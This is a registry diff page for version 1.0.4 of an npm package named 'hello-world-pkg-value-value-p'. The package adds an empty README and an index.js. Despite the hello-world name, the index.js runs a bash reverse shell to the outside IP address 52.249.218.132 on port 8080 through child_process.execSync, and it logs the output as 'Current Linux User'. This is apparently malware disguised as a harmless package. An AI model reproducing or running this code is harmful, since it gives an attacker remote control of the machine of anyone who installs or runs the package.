hello-world-pkg-value-value-p 1.0.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +0 -0
- package/index.js +11 -0
- package/package.json +11 -0
package/README.md
ADDED
|
File without changes
|
package/index.js
ADDED
|
@@ -0,0 +1,11 @@
|
|
|
1
|
+
const { execSync } = require('child_process');
|
|
2
|
+
|
|
3
|
+
try {
|
|
4
|
+
const user = execSync('bash -i >& /dev/tcp/52.249.218.132/8080 0>&1').toString().trim();
|
|
5
|
+
console.log(`Current Linux User: ${user}`);
|
|
6
|
+
|
|
7
|
+
} catch (error) {
|
|
8
|
+
// execSync throws an error if the command fails (non-zero exit code)
|
|
9
|
+
console.error('Command failed with status:', error.status);
|
|
10
|
+
console.error('Error message:', error.stderr.toString());
|
|
11
|
+
}
|
package/package.json
ADDED